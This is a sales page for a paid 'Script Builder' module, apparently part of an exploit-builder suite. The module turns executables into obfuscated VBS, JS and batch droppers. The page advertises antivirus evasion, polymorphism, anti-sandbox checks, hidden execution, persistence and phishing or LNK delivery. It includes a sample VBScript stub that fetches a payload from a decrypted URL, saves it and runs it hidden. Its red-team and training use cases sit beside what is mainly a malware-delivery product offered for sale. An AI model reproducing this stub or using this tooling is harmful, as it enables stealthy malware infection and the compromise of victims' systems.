Terminal LogoSilent Exploit
Exploit Builder BuilderBuilder Module
Exploit Builder/ Builders/ Script
Script
VBS · JS · BAT · Native Scripting Hosts

Script Builder.

.vbs · .js · .bat

Transforms standard executables into stealthy, script-based artifacts (VBS, JS, BAT). Uses native Windows scripting engines — wscript.exe, cscript.exe, cmd.exe — to silently fetch, decode, and execute your files without relying on traditional binary signatures or PE entrypoints.

3 formats
VBS · JS · BAT
Native WSH
Built-in Host
Win XP+
Compatibility
Text-only
No PE Surface
Overview

What is the Script Builder?

The Script Builder produces text artifacts in three classic formats — .vbs, .js (JScript), and .bat — each handled by a long-shipped, fully-trusted Windows host: Windows Script Host (wscript.exe/cscript.exe) for VBS and JS, and cmd.exe for batch.

Because the artifact is plain text, there is no PE structure for static AV to fingerprint. Detection must rely on lexical/behavioral analysis of the script itself — and the builder layers obfuscation, string encryption, and dynamic dispatch to make signature-based rules brittle.

  • Three independent output formats — pick whichever fits the delivery context
  • Embedded payload (encrypted) or remote stager (HTTPS fetch)
  • Polymorphic per build: variable names, control flow, and string layout differ each time
  • Hidden execution: spawns child processes with WindowStyle = 0 (vbHide)
Execution Flow

How the builder works.

STEP 01

Provide Payload

Supply a local PE or a hosted URL. Builder selects embedded or stager mode automatically based on size.

STEP 02

Pick Format

Choose .vbs, .js, or .bat — or build all three for fan-out delivery.

STEP 03

Configure Stub

Pick obfuscation level, decoy behavior, anti-sandbox checks, and persistence options.

STEP 04

Generate

Output is a single-file script. Double-click, drop into archive, or chain after an LNK.

Technical Details

Under the hood.

VBS Variant

Uses WScript.Shell, MSXML2.XMLHTTP, and ADODB.Stream for download + write, then Run for execution. Optional WMI spawning for parent-process spoofing.

JScript Variant

JScript via cscript.exe //E:JScript or wscript.exe. Same COM stack as VBS but different lexical signature — useful when VBS is blocked by policy.

Batch Variant

Pure .bat with powershell/certutil/curl/bitsadmin sub-commands. Useful in environments where WSH is disabled but cmd is whitelisted.

Polymorphism Engine

Every build randomizes: variable names, comment lines, string-split points, control-flow order, and decoy operations. Two consecutive builds share no static signature.

String Encryption

Per-build XOR/AES key embedded as constants. URLs, command names, and decoy text are decrypted at runtime — no plain-text IOCs in the file.

Anti-Sandbox

Optional checks: cursor movement, recent documents count, mouse-position drift, hostname pattern, uptime threshold. Quiet exit on detection.

stub.vbs · simplified, post-obfuscation
' Decrypt URL constants
Dim u : u = Dec("d3ab...c2", k)
Dim p : p = CreateObject("MSXML2.XMLHTTP.6.0")
p.Open "GET", u, False : p.Send
Dim s : Set s = CreateObject("ADODB.Stream")
s.Type = 1 : s.Open : s.Write p.responseBody
s.SaveToFile tmp, 2
CreateObject("WScript.Shell").Run tmp, 0, False
Specifications

Module specs.

Output Formats.vbs (VBScript) · .js (JScript) · .bat (Cmd batch)
OS CompatibilityWindows XP / 7 / 8.1 / 10 / 11 (WSH ships by default)
Execution Hostswscript.exe · cscript.exe · cmd.exe
Delivery ModeURL stager (HTTPS via XMLHTTP) · Local embed (Base64 + AES in script body)
ObfuscationString encryption · Variable randomization · Control-flow shuffling · Comment injection
Window BehaviorHidden (vbHide / SW_HIDE)
Anti-AnalysisCursor activity · Recent docs · Hostname filter · Uptime gating
DecoyOptional drop-and-open of benign document during execution
PersistenceRun-key, scheduled task, startup folder (configurable)
Use Cases

When to use scripts.

📧

Email Vector

VBS/JS attachments in authorized phishing simulations — measure gateway filtering and end-user click behavior.

🔗

LNK Chain

Use as second stage from a LOLBin-targeted LNK: LNK › cmd › script fetched and executed.

🔬

Detection Engineering

Generate samples to validate WSH telemetry, AMSI integration, and behavioral rules around wscript.exe spawning network children.

🧪

Sandbox Evasion Research

Study how various sandboxes handle WSH artifacts and which anti-analysis primitives evade detonation.

🎓

Awareness Training

Demonstrate why "double-clicking that script" is dangerous, with measurable simulated outcomes.

🌐

APT Replay

Reproduce TTPs from VBS-heavy campaigns (Kimsuky, MuddyWater, FIN11) for purple-team validation.

Pricing

Script Builder plans.

All tiers include unlimited builds across VBS / JS / BAT, full obfuscation engine, and updates within the term.

1 Month
3 Months
6 Months
12 Months

Bundle option. Need multiple builders? The All Modules Bundle covers every builder + both launchers at a steep discount.

Other Modules

Explore the full suite.

Ready to ship?

Pick a tier above or talk to us — we'll match the right configuration to your engagement.